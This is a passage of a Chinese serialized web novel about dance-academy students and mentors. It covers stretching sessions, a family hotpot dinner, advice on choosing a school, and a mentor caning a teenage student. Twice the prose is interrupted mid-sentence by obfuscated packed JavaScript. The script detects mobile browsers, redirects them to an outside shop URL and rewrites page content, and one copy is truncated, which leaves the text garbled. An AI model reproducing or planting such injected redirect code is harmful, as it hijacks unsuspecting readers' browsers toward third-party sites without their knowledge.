带着七分怒气三分讥讽的斥责入耳,陶乐钦终于转回头,两截小臂之间露出又红又白被汗湿的半张脸。孔爵居高临下地看着他,那一张小脸也没比思思大多少。本来么,也都是孩子。他料定陶乐钦不会再折腾,才终于扬起上半身,重新撑着把干站好。 带着温度的掌心离开腰际的一瞬,陶乐钦扣着指尖尽力将全身调度回标准的姿势:比如膝盖和脚尖要绷紧,比如上半身要板板正正地贴在凳子上,比如,尽力放松双腿不能跟孔爵顶着劲儿。而后,疼痛就更加剧烈地席卷而来。 他依旧无法控制地微微发着抖,方才因着激动和‘丢脸’而染上面颊的潮(2020)红渐渐退去,只剩下拼命忍痛的惨白。几乎能感觉到冷汗从每一处毛孔渗透出来……陶乐钦淡淡朝身下扫了一眼,缠着沙袋的脚踝几乎已经低出他视线。可他知道,孔爵是不会在这个程度放过他的……这么想着,他不禁颤着睫毛偏过头,喉结动了动,深深吸进一口气,屏住。 “呼吸。”头顶飘来生硬的两个字,是又被孔爵抓了现行。 陶乐钦松了这口气,有些无奈地扬起睫毛,与他的眼神撞了个正着。是啊,这样面对面,有什么看不出来的呢。他错开眼神,重新深深吸进一口气,直至胸腹微微伏起,才又徐又长地呼出来。孔爵盯着他,等到第二次呼气,便渐渐松开撑在把干上的手,稳稳地沉了下去。 少年的脚尖肉眼可见地又向地面靠近了一段距离。陶乐钦松开双手,臂弯交叠着牢牢遮在眼前,颤抖良久,一声呜咽终是含含糊糊地传了出来。 陆海言也忍不住朝这边望了一眼,继而又了然地摇摇头——阿爵的性子,他是知道的。 还有余地的。 孔爵神情严肃地品着脚下的感觉,这孩子软开的条件好的不得了,哪怕是到了这个程度,腿上的韧性和阻力都几乎让他有些怀疑自己的经验和判断。可他也知道陶乐钦受不住了,因此盯着墙上的钟划过两分钟,便缓缓从他腿上下来了。 “自己控一会再起来。”孔爵托着陶乐钦的膝盖把腿带回了水平线,能感受到手上传来明显的一下颤抖。他慢慢松开手,看着陶乐钦自己控住了,便没再过多停留,径直走开了。 孔爵拎起地上的矿泉水一屁股在陆海言身边坐下。“这是你们工作的图纸啊。”他仰头灌下小半瓶,歪头打量着地上铺着的图纸。 严格规整的线条特别符合“强迫症”的审美,再仔细看看,旁边的铅笔标注字迹硬朗、笔划锋利。他从小就佩服又嫉妒,小叔叔的字怎么写的那么好,明明在小学里念过的年头还不如自己多,写字却比自己的“狗爬体”强出十万八千里。 写字好那也是天赋。 小时候父亲总是这么说。 “怎么样啊?”陆海言“啪”的一下抽开孔爵不小心踩上图纸边缘的脚,将图纸卷起来收回画筒。 嘶……孔爵揉着火辣辣的小腿,眼神顺着他一起朝陶乐钦那边看去,却明知故问:”什么怎么样啊。“ 把干下,长凳上躺着薄薄的身影。双手攀着凳沿,两腿绷直,在180度上下缓慢开合着。刚狠压了回,这么控,肯定是不容易,远远的也能看出发着抖。陆海言数着又做了十几组,便看着他用力打了几下胯,然后将双膝蜷拢在胸前,放松了一会儿。 孔爵撞了下陆海言膝盖,“学校里要都是他这样学生,老师们得累死。听说你教了半年呢,怎么教的啊?” 陆海言偏头白了他一眼,将他手里的水瓶抢下来,“该干嘛干嘛去。” “行行行……行行行…”孔爵念叨着站起身。 不远处,陶乐钦正搬着凳子往中间挪。还有旁腿呢,他没忘。他也知道孔爵为什么一定挑着这两样今晚给他练。 上午的排练他都看在眼里,孔爵的功底扎实:柔韧性好,肌肉能力又强,三个不同位置的快速踢腿完成的干净利落。尤其是旁腿,充满爆发力的那一下,带着长裙在空中划出个飘逸的扇形,容不得人不承认,确实是好看。那对他不满意…便也是自然… 陶乐钦半走着神,侧身躺上了长凳,腿才一抬起来,就听见孔爵扬声朝一边喊,“小叔叔,过来搭把手。”陶乐钦一惊,猛地扭过头,死死盯着孔爵。孔爵不以为意地低头与他对视,接着说,“我累了,一个人整不了。”也不知到底是解释给谁的。 “躺好。”手臂被孔爵粗鲁地拉直垫在耳旁,陶乐钦慌乱地看向镜子,只见老师放下电脑,站起身直直朝他们走了过来。老师……陶乐钦喃喃地张了张嘴,心脏在胸口砰砰砰地猛擂了几下,然后便眼睁睁看着老师在他小腿上坐下,轻声说,“专心。” 陶乐钦低下头,不敢再去看镜中的老师。左腿糊里糊涂地提到耳边,被孔爵捏在了手里。“啪”的一声,脚背上挨了一下。他条件反射地绷紧脚尖,下一秒,却又忍不住偷偷去瞄老师的反应。 也是没开始疼呢,才还有心思想些有的没的的。孔爵只做不见,朝小叔叔点了下头,便一手扶着他小腿,一手扶着脚腕,缓缓压了下去。 ———————————————— “嗯………”陶乐钦死死咬着唇角,尽力将满脸的狰狞都藏进紧锁的眉眼中。左腿牢牢被压在头后,从腿(2020)根到膝窝都凛冽地疼成一片。刚刚才被折磨的双腿,此刻因不满而更加肆无忌惮地叫嚣着。 可昏天暗地的疼痛中,他却能清晰感受得到附在右腿上的那一块温热。老师的掌心,干燥又温暖,在每一次疼痛加剧的时候,都稳稳地按住他。所以他知道,自己每一丝动作,每一个表情,每一次不经意地颤动,老师一定都能看得到。他不愿意被老师看到这样狼狈的自己…… 已经绷紧的脚尖又肉眼可见地向里蜷了蜷,少年小腿的肌肉在自己手下轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不知道是疼昏了头,还是真的被少见的严厉所逼迫,陶乐钦缓缓睁开眼睛,只看见一塌糊涂的自己。左腿越过腰际直藏进身后,好像从半路就消失了一般;他努力盯了许久,沾了水汽的眼睛怎么也看不清越出凳面的那一点点是不是自己的脚尖。 “自己看好了啊,你平时只有压到这儿——踢腿的时候才能上到这儿。”说到后半句的时候,脚才终于被放回去了一点。 陶乐钦无力地眨了下眼,知道是早上孔爵轻轻松松就能达到的高度。他也不知道自己有没有点头,只是有些迟缓地在镜中寻到了孔爵的眼神,算是答应。 孔爵也同样在镜中盯着陶乐钦。 原本白皙的肤色被上涌的血气染的通红,满脸都湿漉漉的,也不知道是泪还是汗,把刘海在额前沾的一片凌乱。细长的脖颈上,伏起两条青筋,浑身上下都因疼痛而不停起伏着。 除了上次在医院,孔爵大概也再没见过这样的陶乐钦。他拿捏着分寸,思考了片刻,终究还是开口,“再来一组。” 手下的人几乎是可见的一颤。陶乐钦死死盯着孔爵,虽然一个字都不说,猩红的双眼却写满了拒绝。他是真的怕了,怕那种超出想象的疼,怕明明知道眼前是什么地狱火炼却还要被硬生生推下去的感觉。 少年挂着泪充着血的眼睛透过镜子直直看向他,不肯移开半分,也不许他移开半分。孔爵能看出来,那里面有害怕,有拒绝,也有……恳求。他认识陶乐钦这么久,哪次不是叫嚣蹦高一点就着,可这次他是真的清清楚楚地看到,这小子怕了。 冷静如孔爵,也不禁有一秒的迟疑。他转眼去看小叔叔,只见他神色如常,目光却也全在陶乐钦身上。看出孩子的拒绝,他终于动了动指尖,在他腿上安抚地拍了拍。 陶乐钦也自然感受到这一下。 于是孔爵看见他在镜中迅速地看了眼小叔叔,嘴角似是极浅地向下撇了下。一闪而过却也呼之欲出的委屈里,少年紧紧闭上眼睛,眼角立时滑下一条水迹来。 “自己数。”孔爵紧了紧握着他脚腕的手,低声说。 ———————————— 窄窄的长凳上,陶乐钦躬身横坐在中间,修长的双腿微曲着踩在地上,却是全靠着稳稳撑在身体两侧的双臂,才没有跌下去。 陶乐钦深埋的着头,任纤瘦的骨头在平整的肩上支起两座小丘。透过散乱的额发,能清楚地看见双腿在自己眼前不自觉地打着颤,从腰胯到脚尖、都如无数电流爬过般酥麻和无力。 他右腿比左腿强些,孔爵便没太为难他;左边压的狠,也是帮他找齐。可整整半个小时的软开,他只觉得一直被推在悬崖边上,没有一丝喘息的机会。 “这就不行了,你是没见过晓希他们怎么练功的是吗?“孔爵掐着腰在身后看着他。坐了两分钟了还不见起来活动,他的耐心已经耗光了。 果然,陶乐钦紧了紧撑着凳沿的手,蹭地一声站起来,踉踉跄跄地朝把干去了。 陆海言看在眼里,忍不住看向孔爵,无奈地笑了笑。这家伙、这么多年都底没变,总是知道怎么能一句就扎到人家皮下去。孔爵抽了几张消毒湿巾过来,没好气地摇摇头,他能有什么办法? 凳面一头湿哒哒的都是汗渍,孔爵麻利地擦过去,却故意当着陆海言的面“啧啧”的露出一脸嫌弃。末了,又捻着指尖扔进垃圾桶里。 “谢了啊!”陆海言揽着孔爵肩膀在身侧坐下。不远处,陶乐钦认真地做恢复活动,汗不停地往地上砸。 孔爵是真累了,一坐下就不禁长呼了口气。“谢什么,我是冲舞剧,又不是冲他。” “哟”,陆海言歪着头撞了下他肩膀,“我还以为是冲我呢?“ 三言两语,好像一下子就回到小时候装着大人根小叔叔扯皮斗嘴的时候。孔爵忍不住牵起嘴角,掏出手机摆弄。“明天晚上火锅。牛油麻辣锅,另一个番茄还是菌汤?你说一个。“ 63. 59章 心事 色泽鲜艳的汤底在鸳鸯锅里沸腾地打着滚,整个厨房都弥漫着地道的重庆火锅香味,直呛得思思连打了好几个喷嚏。 孔爵开了瓶果汁给思思,又给自己和陆海言满上酒,高高地举起酒杯。“来!正式欢迎你回来!” 上个周末和小叔叔回家吃了顿“团圆”饭。孔家难得团聚的这一餐,却是吃的有些食不知味。纵然是重逢欣喜,可父母心中这么多年牵肠挂肚,终究是化成饭桌上不住的感慨,母亲也忍不住抹了好几次眼泪。 孔爵知道,小叔叔心里不好受。 他自然也怨过他,恨过他,想着再见面的时候一定要将他胖揍一顿,他也几乎这么做了;可打心底里,他也能理解小叔叔的难处。所以看着小叔叔脸上挂着笑意眼神里却透着藏不住的自责的时候,他当场就下定决心:要不伤感、不婆妈地为小叔叔开开心心地接一次风。 可轮到自己,一举起酒杯,眼眶还是没出息地热起来,喉头也不禁有些梗住。 “来”,他掩饰地笑了笑,朝思思偏了下头,“一起敬小叔叔。” 陆海言捏起酒杯,打量着一大一小满脸的郑重…… 孔爵打小就是这样的性子,好像什么事情都不放在心上,总是没个正形;可真对自己看重的事情,又轴的不像话。就如此时,脸上明明带着不习惯的别扭,眼神却难得的赤诚。 “谢谢!” 酒杯轻轻碰过发出清脆的叮响,陆海言仰起头,满满地啤酒一饮而尽。 “诶,你怎么回事?” 陆海言看着孔爵喝了一口就把杯子放下不禁皱起眉。 嘿……孔爵捞了两片肉到他碗里,笑嘻嘻地搪塞他,“肉还多,酒慢慢喝~” 一餐过半,陆海言瞟了眼孔爵已经换成苏打水的杯子,默默只给自己又添了酒。 从开饭到现在,一直无辣不欢的孔爵筷子几乎就没往辣锅里伸过;啤酒也是只喝了一小杯就换成了水。陆海言心里明白,孔爵认真起来时的那一份自律,是常人难及的。这一部舞剧他放进去的心血,远比别人看到的多。 “你们今天排练怎么样?” 孔爵夹着牛肉在油碟里转了一圈,知道他是问陶乐钦,“昨晚那么练完,今天肯定吃力些。但总体还行,毕竟挺灵光一孩子。” 陆海言挑挑眉,“难得听你嘴里有夸他的话。” “我也是有一说一,他是日青赛上拿过奖的,招生红榜上名字也是高高写在第一行。只要把他那些自以为是收一收,踏踏实实地练,就能跳好。” “他求学的环境和体系,和咱们毕竟是不一样的。“ 孔爵只不置可否地“嗯”了一声,端起杯子又与他撞了下,“多喝点。” “……拿水劝酒啊你“ 陆海言横了他一眼,然后看着他一边偷笑一边又捞了一堆肉到思思碗里。 “思思呢,想好考什么学校了吗?“ 陆海言随口问。 嗯?王思邈一直认真听老师和小叔叔聊天,没想到话题这么快转移到自己身上。“也没怎么想吧”,他有些拘谨地停下筷子,“反正附中都是直接考舞院的。” 陆海言扫了眼孔爵略有些不自然地表情,接着说。“咱们首都除了首舞还是有很多不错的学校的,军艺啊,民院啊,可以多了解了解。“ “嗯”。王思邈乖乖应了,心里却不免有些异样。附中这么多年念下来,他好像从没想过要考别的学校,大家…就像晓希学长…都是直接考了舞院的。 这一顿晚餐吃的格外长,小叔叔和老师聊了好多。思思不爱插话,问到他了,他便乖乖答话,大多数时间,只坐在桌边认认真真听。 吃完饭他惦记着帮忙收拾,又惦记着晚功。孔爵却赶着他去玩去看电视,眼看开学了,这几天给他放假他也不知道珍惜。 “去吧去吧去吧”。孔爵几乎是连赶带轰地把人劝出了厨房,一转身,看见小叔叔正在捡桌上的碗筷。 “哎,你也别动!我自己来,冲一下扔洗碗机,很快的。” 陆海言微微一侧身躲过他,直接将东西端去了水池,“刚文导找你什么事啊?“ 孔爵见这个也劝不动,只能接着收拾桌子,“就问问排练怎么样,顺便关心一下我和陶乐钦。” 陆海言只觉得好笑,“你和阿乐不对付这件事,整个舞院还有不知道的吗?” “那就是文导不知道了吧。还说反正我现在也不忙,让我多带带陶乐钦。还担心我没有经济收入,要让我去舞院当老师。” 孔爵捧着剩下的碗筷过来,看小叔叔已经开始洗碗了,便自然地站在旁边打下手。 “文导不是不知道,她是透过现象看本质。” “本质?看什么本质?” “本质就是——” 陆海言挑眉看着装傻的孔爵,“你不觉得你们俩有些地方挺像的吗?” “像我就非得惜他这个‘才’,像我就非得带他。” 孔爵冷哼一声拉开洗碗机,把碗碟一个个码进去。 陆海言看他那个样子,忍不住笑:“昨天晚上你教他不也挺好的吗?” “我谁都能教!” 带着几分赌气意味的声音从洗碗机下层闷闷地传出来,陆海言这次几乎笑出声,“行行行,不提这茬了行吧。” “哎……也不是。” 孔爵叹了一口气,起身靠在厨台上。”之前萧泽有问我,有没有觉得对陶乐钦有点不太公平:舞剧如果不是他来演,换做任何一个人,我是不是都会在排练中竭尽所能地去帮去教。我想了想、跟他说这是歪理。“ 陆海言想着萧泽被人当面说是歪理的样子,不禁夸张地皱了皱眉。 孔爵耸耸肩,接着说,”我说如果不是他陶乐钦,也就也不会有这么多事了。我不喜欢他,是因为什么?日青赛赛后的采访上,他说了林晓希什么;思思、钟彦霖的弟弟,他是怎么当面贬低人家的,还有舞剧的小编导们,前两天要不是我拦着,他也是一样地讽刺。“ 孔爵的语气平静,听上去,倒是无奈多过生气。陆海言点点头,“阿乐那个性子……” “哎”,孔爵转身把拿出来的调料都放回冰箱里,“我这么大个人了,不会真跟他计较。其实我想说的是……有些事情啊,讲究的,是个师徒缘分。 我能遇到思思,陶乐钦能遇到你,都是我们各人的缘分,注定的,强求不来。 是,陶乐钦是个难得的好苗子,所以跟谁都能出成绩。舞校培养出那么多优秀的舞者,靠的不单单是一对一的传承,离开秦老师的萧泽也好,遇到文导前的晓希也好,都是舞校大院里打滚出来的。 我和萧泽和秦老师不一样,他们的心很大 ,装的不仅仅是舞蹈,还有这一门艺术的兴衰。我的心没有那么大,就只装得下眼前在乎的人。我能看到身边的人都健健康康,思思能稳稳当当地在社会上站住脚跟,我就挺满足的了。“ 陆海言沉默了半晌,有些感慨地拍了拍孔爵的肩膀,没有想到他会说出这样一番话来。他常常觉得自己历经世事,归来时好像已经看破了许多;此时却又觉得这个从小看到大的小侄子,才是难得活得通透。 ———————————————————————————————————— 彦承看着眼前的一条空地,不禁深吸了一口气,心里的恐惧一点点蔓延上来。 他舔了舔嘴唇,又望了萧泽哥一眼,终于双腿用力一蹬,先做了个前空翻,然后跟了个侧空翻。再拧身都后翻的时候,心里却突然没了底……一迟疑间,身体的动势便失了大半,人却已经向后仰去。彦承只觉得心里咯噔一声,完了…… 萧泽从旁护着,眼看着他犹豫了一下这个后翻过不来了,心里一紧,连忙伸手用力捞了一把。彦承借着他的力才将将翻过来,整个人却几乎是挂在萧泽胳膊上,脚步重重地砸在了地上。 彦承惊魂未定地咽了下口水,此时的自己,狼狈地几乎是趴跪在地上。他抬头看了眼一脸担心的萧泽哥,仍然有些没缓回神来。 萧泽看着他没磕到膝盖,一颗心才将将落下来。下一秒,却一把把人捞起来,握着竹条的右手直接就挥了下去。 “呃……” 彦承还不待反应过来就结结实实挨了一下。竹条又粗又硬,砸在薄薄的练功裤上,直接在他脑中炸开了花。 “想什么呢。” 萧泽又抡了一下。彦承疼的一机灵,却搂着萧泽胳膊不敢躲。 “从练翻开始就嘱咐过许多次,最忌讳什么?嗯?” 萧泽是真的担心他,所以才更气。嘱咐了那么多遍的动作要领,都是过来人能少受伤少走弯路的经验 。不往心里去,就是拿自己的安全开玩笑。 萧泽在气头上,看着彦承埋着头不吭声,不禁用力挥了一下,“说话。” 彦承挨一下就一哆嗦,这一下下来,更是疼的直接咬住了嘴唇。“晃范儿……不能晃范儿。” “那还犯。说没说过,要翻就翻,没准备好就不翻,最怕的就是犹犹豫豫。” 萧泽少见的在练功房里发火,拽着人竹条不停地往彦承屁股上招呼。这种错误,一次就必须立住规矩,长了记性,才决不能再有下一次的。 湿哒哒的一下滴在自己手臂上,萧泽手下一顿。转眼看着那么大个孩子了,肩膀都瑟缩在一起,后背湿成一片,不禁长出了一口气,将人扶起来。这才看着彦承红着眼睛,豆大的泪珠往下砸。 自己使了多大力气心里有数,比这重多了的他哥都揍过,还不至于哭成这样。萧泽只当他是吓着了,语气稍稍软了下来。“哭什么?” 彦承在肩膀上抹着眼泪,不吭声。萧泽看着也觉得可怜,却不在练功上惯他,“要是打疼了,就是要让你长记性;要是委屈,就把眼泪收起来,没什么可委屈的。” 彦承点点头,抿着嘴唇把眼泪往回憋。可越是这样,眼泪越止不住地往下滚,顺着脸颊蓄到下巴尖上,叫人看着再生不起气来。萧泽皱了皱眉,觉出这孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239561|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情绪不对,“到底怎么了?” 彦承垂着眼睫,牙齿紧紧咬着嘴唇,似是挣扎又像是在忍耐,片刻,才终于抬起头,语声里忍不住带了哭腔,“萧泽哥,我会不会考不上舞院啊……” —————————————————————————————————— 送走了小叔叔已经快十点。孔爵想了想晚上饭桌上的对话,终于还是来敲思思的门。 “小叔叔走了吗?” 虽然是隔着师生这一辈、思思却不自觉跟着孔爵一起喊小叔叔了。想着客人走了他却都没有送一下,不禁觉得有些不好意思。 “嗯”,孔爵摸摸他头,“聊聊?” “哦哦。” 思思将老师让进来,自己在床角坐了。孔爵拉了椅子直接坐在他对面,莫名有些正式的气氛,惹得思思突然紧张起来。 “我就开门见山吧……“ 孔爵盯着思思的眼睛,”今年考学,你愿不愿意考虑军艺看看?” 思思一愣,一边有些难以相信,一边又知道老师不是在开玩笑。他有些慌乱又有些为难的皱紧眉头,不知该如何回答。就如晚饭时在桌上说的那样,他几乎没想过这个问题。 孔爵往前探着身,安抚地拍了拍他膝盖。“我来说说我的想法,你听听看。最后报不报考,还是你自己的决定,不必有压力,嗯?” 思思懵懵地点了点头,孔爵才继续说: “军艺现在有几个定向培养的项目,如果能考进去,毕业直接到地方文工团,是不用愁找工作的。如果你想留在首都,毕业可以努力试试考总政。在体制里,待遇方面是不会差的。从未来发展的角度,我觉得很适合你。 从你个人的角度…军艺是个新环境,管理与文化上和舞院都有所不同,我觉得…对你也是个锻炼,是有好处的。” 孔爵说到这儿顿了顿,打量着思思的表情。他知道这孩子是听进去了,却难免要消化一会儿。 “这个还有时间,你可以花时间想想。不管是想继续留在舞院,考军艺,还是想考别的院校,都可以。有什么想法,随时和我说,都可以。” 老师不常这样温声细语的讲话,几乎是有些哄着他的语气,反而让王思邈有一丝不安。 “军艺………好远的。” 沉默了一会儿,他突然抬头说。 孔爵心里一软。的确,舞院在首都的大西边,军艺却是在东南角上…跨越几乎一整个首都,是让人想想就头皮发麻的事。可他知道思思更想说的是,首都歌舞团和孔爵的家,也都在舞院边上。 “放假了什么时候想来我随时去接你。就怕你上了大学忙起来,难得有假都要跑回家吃妈妈的饺子了。” 思思不禁红了脸,想到从前悄悄和老师说自己想妈妈做的饺子的样子,有些难为情地笑了。 孔爵在他脸上见到笑模样,心才落下来了一点。要把孩子从自己身边推开,不是个容易的决定。谁不想能天天在眼跟前看着,看着他一点点长成个男子汉的模样。可孔爵知道,为师为长,便凡事就都要以对孩子最好的角度出发, “你啊,别以为跑到山高皇帝远我就管不着了!我的眼线多着呢,小心我分分钟突击你。” “我不怕。” 看着老师故作正经的样子,思思才忍不住笑开了,果然这样的老师他才熟悉。他才不会说他知道军艺的管理严格,大门哪是说进就能进的呢。 “好了,早点休息吧。” 孔爵站起身,忍不住又揉了把小徒弟细软却浓密的头发。“慢慢考虑,还有些时间”。 王思邈重重点了点头。 送走老师,王思邈钻进被窝里,整个人不自觉地缩成一小团。晚饭后去厨房打水时不小心听到的那些话,一直在脑海里打转。 ”有些事情,讲究的是个师徒缘分……“ ”我能看到身边的人都健健康康,思思能稳稳当当地在社会上站住脚跟,我就挺满足的了。“ 他是老师的缘分……老师是真的打心眼里为他着想的。 王思邈紧了紧裹在身上的薄被,尽力不让眼泪冲出眼眶。哪怕从来都知道老师对自己的好,可真正从老师的口中听到,还是感动的一塌糊涂。 他从来不敢觉得自己是老师心中多特别多重要的人,更不敢有独占老师的想法。所以从陶乐钦冲进练功房说要跟着老师学舞的那一刻起,他就做好了退让的准备。换做是他,他也一定会喜欢聪明功又好的学生。甚至……甚至晚饭时小叔叔问他的时候,他还多心地以为,自己是不是该给陶乐钦让地方的。 所以刚刚老师又来问他考学的事情的时候,他才会那么惊讶。原本听了老师在厨房的话,他还以为只是小叔叔随口问问自己想多了。可真的等老师一字一句把自己的想法都说出来时,他才知道老师是真的为他考虑了很多…… 想到这平白从天上掉下来的好意,王思邈一面感激,又一面心慌……自己要怎样,才能报答呢 64. 第60章 尖子 夏季到了八月底,早晚的暑气已经不较往常那般凶猛。清早的微风顺着窗户吹进来,将罩得严严实实的窗帘掀起一道缝隙。阳光就迫不及待地钻进来,在昏暗的小房间里洒出一道光束,连空中的细尘都照的清清楚楚。 舞院男寝的626室,此刻便在这和暖的日光下弥漫着昏昏欲睡的气氛。 身下似乎传来窸窸窣窣的响动。 何钦迷迷糊糊地翻了个身,正要接着睡过去,灵台却突然清明了片刻——他竖着耳朵听了一会儿。只听见地上的动作似乎是停了一下,然后…又小心翼翼地响起来。 哎……想想下铺住的是哪一位——何钦摸到手机,眯着眼睛看了一眼。 靠……诺大的7:03闪在屏幕上,何钦把手机扔回枕边,无奈地抓了抓头发。阖着眼睛精神了一会儿,才撑起身子探出半个头去,压着嗓子用气音喊他:“喂…喂!” 正在换衣服的林晓希给吓了一跳,连忙把T恤套上,站起身到何钦头边。“对不起啊,把你吵醒了。我轻点。” “不是不是。” 何钦气得猛摇头,“你这么早起来干什么啊?你昨天不是说刘茹佳今天给你放假了吗?” “哦,是。“ 林晓希点点头,蹑手蹑脚地把洗漱用品拿出来,“我反正醒了……就…练功去吧。” 好像预料到何钦会炸毛似的,他最后一句,说的有点心虚。 果不其然。何钦几乎是操着气音在喊了,“放假你练什么功啊?!?!” “哎呀……” 林晓希连忙打着手势让他小点声。“我反正也没什么事干……“ 何钦翻了个白眼,深吸一口气怕一早被气出个高血压。看来“在床上躺着歇着刷微博打游戏出去吃好吃的“对于这位尖子生来说都不算能干的“事”。他索性闭上眼睛继续养神,眼不见、心不烦。 “哎,话说…” 林晓希拍了拍何钦探出上铺外的脸,“你今天什么安排啊?“ 何钦懒洋洋地睁开眼,瞟了眼对面上铺,谎撒得脸不红心不跳,“没安排啊。领导有什么指示。” “那你一会儿起来,陪我练练?” 何钦立刻哭丧个脸,“领导,放假还让我练功。” “啧…” 林晓希砸了咂舌,推了一把他那个乱成鸡窝的头,“不用你练、帮我练。” “我想喝元庆街街尾新开的柚子冰和日式Souffle。” “请你吃。” “还想吃城南全羊馆家的烤羊腿。” “给你买。” “开学专业课的作业——” “我和你一组!” “成交。” 何钦舒服地躺回床上,懒洋洋地朝林晓希摆摆手,“那我再睡一会儿,晚点见。“ 林晓希笑着用毛巾抽了他一下,“你睡醒随时过来就行,不急。“ 林晓希拿着东西出去洗漱,宿舍门被轻轻带上了。对面铺的老幺慢悠悠的撑起来哈在栏杆上,“二哥,咱不是说白天去逛街给我女朋友买礼物吗?“ “嗯,要么晚上没什么事儿…改晚上去吧。“ 何钦扭过头提醒他,“你别和你五哥说啊,他难得张一次嘴。” “嗯,明白。” 老幺点点头,这点他自然懂,不然方才也不会醒了也不作声了。 —————————— 何钦来的比想象中的快。林晓希才活动了一会儿,就看见他他在门口张望。他上前两步挥了挥手,示意何钦自己这里。 “好多人啊。” 何钦忍不住念叨。快开学前,练功房总是最紧张的。他们这一间大教室里便是好几拨人在练。 “你怎么也没多睡一会儿。” 林晓希在角落里甩腰。没有进把干,边控边甩,一组下来,脸红得什么似的。 “练腰啊今天。” 何钦问。 “嗯。” 林晓希点点头,又翻身下去。只是嘴角似是极细微地抿了下,被何钦敏锐地抓进了眼里。 “萧学长训你了?” 林晓希甩的越发狠,没有回答。何钦却几乎已经肯定了:放眼整个舞院,除了大名鼎鼎的萧学长、萧首席,还有谁能让他们这位优等生露出方才那种又羞愧又自责又乖巧的诡异表情来。 “哎我说……你这个腰,男生里面算好的了。” 林晓希控着腰,双手艰难地往小腿上扒,终于滑了下没抓住,才站起身来。“我元宝跳和紫金冠都过不了头。” 这语气低低的,既冷漠又笃定,“批判”起自己来毫不留情……听得何钦气不打一处来,“萧学长自己功好的变态,也不能以为人人都——” 他突然闭了嘴……他想哪儿去了,萧学长可不就是要把林晓希培养成和他一模一样的小“变态”吗。 也不知道是练到第几组,实在有些没力了,林晓希重心往后一沉,撑着手肘挑腰翻了下来,顺势便趴在地上休息了。 “喂,怎么了?” 林晓希把下巴搁在手背上,看着何钦一脸苦大仇深地盯着自己。“干什么,真这么心疼我啊?放心~~我无论如何也会留下这么一丝—丝—力气,爬到城南给你买烤羊腿的。” 林晓希说着不禁歪过身子,腾出一只手用食指和拇指捏出一丝缝隙给他看。这样生动的表情,何钦有日子没在他脸上看到了。 林晓希是从芭蕾院转到中国舞院的第一天就认识何钦的。从附中一年级开始,一路同班级同宿舍地到了现在,是他在舞院最好的朋友。因此也见过他许多别人不曾见过的一面:他出过的丑,挨过的罚,躲在被窝里流过的泪,甚至是痴痴看着学长演出的样子,何钦通通都见过。以至于好像在他面前,总会格外的放松而不设防。 “呵呵…” 何钦皮笑肉不笑地哼了一声,作势要踢开他的手。这才看他含着笑收回手,向上抹了把汗湿的碎发,认认真真地休息了两分钟。 人家练功都是老师催命一样赶着……这一位是老师只要敲打一分,自己就巴巴地去练十分。哪怕已经是同龄人中的佼佼者了,只要有一点没达到老师期望的地方,仍然会诚惶诚恐地不安。就好像刚才…提及萧学长时,大概他自己都没有意识到不经意间流露出的那份挫败感。 林晓希歇了不到两分钟就自觉地起身。何钦知道他活动好了想直接扳,便上前帮他把垫子铺好。 “趴下吧,这位勇士。“ 意料之中地收获了一枚白眼,何钦笑笑跨到垫子上方,把林晓希的双腿卡在了并不轻松的距离中。”这回可是有冤的报冤有仇的报仇了啊。“ 林晓希微微牵起嘴角,没有再和他斗嘴。只是靠着已经酸软的背肌的力量立起上身来,沉肩、展臂,把双手向后送去。每每练功时都惯常冰封的脸上,露出毫不掩饰的一丝紧张来。 他怕练腰。 大概是自小便不擅长,所以自小就没少被老师盯着练过。尤其到了文导那里,没有哪次不是哭着下来的。后来长大了一点,终于学会了眼泪往肚子里流,却好像总也学不会克服潜意识里的恐惧——他一练腰就不自觉地憋气。 压腰的时候不呼吸,是很危险的事情……所以不管是哄是吓,老师们都断不会让学生有这种坏习惯的。林晓希不是不肯练,也不是不会忍耐,可不知为何,每每到了那个点上,这从出生一刻起就牢牢掌握的生物本能却总能被忘得一干二净。 他已经不记得文导和老师们到底帮他扳了多少次才把这个毛病扳掉—— 只是今天好像,又犯了。 “大哥,不喘气儿可不行啊。” 何钦拽着他手腕压在腿上,语气里隐隐透着焦急。 林晓希无奈地闭紧双眼,感受着脊椎一节节靠近、挤压、倾轧着彼此……可更为强烈的……是喉咙口仿佛被人卡住,气息尽数被锁在胸腔,仿佛下一秒就要爆炸的窒息感。他也能感受到血液源源不断地向头顶汇集,直到脖颈、额间、太阳穴上都伏起青筋,清晰又猛烈地搏动着。 何钦到底还是担心他,松了手。 腰间和胸口的压力骤然一轻,林晓希了然地睁开双眼,轻轻落回垫子上。陡然冲进喉咙的空气呛得他干咳了几声,他用手肘撑着垫子,将头深埋在双臂中,大口吸取着氧气。 —————————————————————————— 钟彦霖之前定了一批当季的水果到了。萧泽看着种类又多卖相又好,想着今天正好晓希要回家,便装了一箱,准备给他送回去。 出门前发了个微信让他在学校等着自己,却到半路等红灯的时候还没看到回复。萧泽想着这个点儿该起了,便直接拨了电话过去,却还是没人接。 这段确实练得辛苦…也许是难得放假,睡懒觉了。萧泽笑笑挂断电话,不自觉地轻叹了口气。有时看看晓希、看看承儿,总觉得现在的小孩是比他们那时候难多了。 萧泽到了学校停好车,朝晓希宿舍走过去。电话打了两次,终于有人接起来,却是个陌生男孩的声音。 “喂?是萧、萧学长吗?我是林晓希的室友,他出去练功了,忘带手机了。看您打了好几个了……所以替他接了。” “哦,没事。谢谢你。那我去教学楼找他。” 萧泽挂断电话,忍不住对着黑下来的屏幕愣了片刻。胸口好像有些莫名的情绪蔓延到心尖,酸酸的。他不禁深吸一口气,掉转脚步像教学楼走去。 